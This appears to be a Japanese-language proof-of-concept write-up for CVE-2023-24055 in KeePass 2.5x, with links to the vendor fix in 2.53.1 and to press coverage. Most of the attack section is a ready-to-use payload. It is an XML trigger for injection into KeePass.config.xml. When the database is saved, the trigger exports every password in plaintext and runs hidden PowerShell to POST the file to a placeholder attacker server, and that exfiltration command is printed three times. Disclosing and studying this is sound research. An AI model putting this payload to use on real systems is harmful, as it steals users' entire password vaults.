CVE-2023-24055 PoC (KeePass 2.5x)

議論・分析中...

https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/
https://sourceforge.net/p/keepass/feature-requests/2773/

KeePass 設定ファイルへの書き込みアクセス権を持つ攻撃者は、そのファイルを改ざんし、悪意のあるトリガーを注入できます。例えば、エクスポート用トリガーを追加して平文パスワードを取得するなどです。

https://nvd.nist.gov/vuln/detail/CVE-2023-24055
https://www.cve.org/CVERecord?id=CVE-2023-24055

初期の PoC (KeePass 2.5x)

(1) KeePass 設定ファイル KeePass.config.xml への書き込みアクセス権を持つ攻撃者は、例えば次のトリガーを注入する可能性があります：

<?xml version="1.0" encoding="utf-8"?>
<TriggerCollection xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<Triggers>
		<Trigger>
			<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
			<Name>exploit</Name>
			<Events>
				<Event>
					<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
					<Parameters>
						<Parameter>0</Parameter>
						<Parameter />
					</Parameters>
				</Event>
			</Events>
			<Conditions />
			<Actions>
				<Action>
					<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
					<Parameters>
						<Parameter>c:\Users\John\AppData\Local\Temp\exploit.xml</Parameter>
						<Parameter>KeePass XML (2.x)</Parameter>
						<Parameter />
						<Parameter />
					</Parameters>
				</Action>
				<Action>
					<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
					<Parameters>
						<Parameter>PowerShell.exe</Parameter>
						<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml'))) </Parameter>
						<Parameter>False</Parameter>
						<Parameter>1</Parameter>
						<Parameter />
					</Parameters>
				</Action>
			</Actions>
		</Trigger>
	</Triggers>
</TriggerCollection>

(2) 被害者が通常どおり KeePass を開いて操作し、変更を保存するなどすると、トリガーがバックグラウンドで実行され、認証情報が攻撃者サーバーへ外部送信されます。

トリガー PoC の詳細

a) このトリガーは、KeePass データベースを KeePass XML (2.x) format でエクスポートし、すべての認証情報 (平文) を次のパスに含めます。例：

c:\Users\John\AppData\Local\Temp\exploit.xml

b) ファイルがエクスポートされると、2 番目のアクションを定義して、Powershell.exe を使用し、base64 にエンコードした XML データを外部送信できます。例：

PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))

c) データは攻撃者の Web サーバーへ外部送信されます。例：

トリガー PoC の値

Name: Trigger
Events: Saved database file | [Equals]
Conditions: <empty>
Actions: 

(1) Export active database 
File/URL: c:\Users\John\AppData\Local\Temp\exploit.xml
File/Format:  KeePass XML (2.x)

(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))
Window style: Hidden

認証情報...

PS C:\Users\John\AppData\Local\Temp> type .\exploit.xml  | Select-String -Pattern Password

トリガーの公開例:

https://keepass.info/help/kb/trigger_examples.html

リリースされた修正 : 2.53 から 2.53.1 への変更点:

https://keepass.info/news/n230109_2.53.html

Removed the 'Export - No Key Repeat' application policy flag; KeePass now always asks for the current master key when trying to export data.

参考文献

著者

Alex Hernandez こと (@_alt3kx_)

CVE-2023-24055_PoC

人気

CVE-2023-24055_PoC

人気

CVE-2023-24055 PoC (KeePass 2.5x)

議論・分析中...

初期の PoC (KeePass 2.5x)

トリガー PoC の詳細

トリガー PoC の値

トリガーの公開例:

リリースされた修正 : 2.53 から 2.53.1 への変更点:

参考文献

(*) この KeePass CVE が新しいパスワードボールトを探している組織にとって何を意味するか (Carlos Perez)

(*) KeePass、データベースを外部送信できる可能性があるという報告に異議を唱える (Steve Zurier)

(*) Security Weekly News (06:56 KeePass)

(*) KeePass 2.53.1、「脆弱性」CVE-2023-24055 を修正した新バージョン (IT Connect FR)

(*) ツール

著者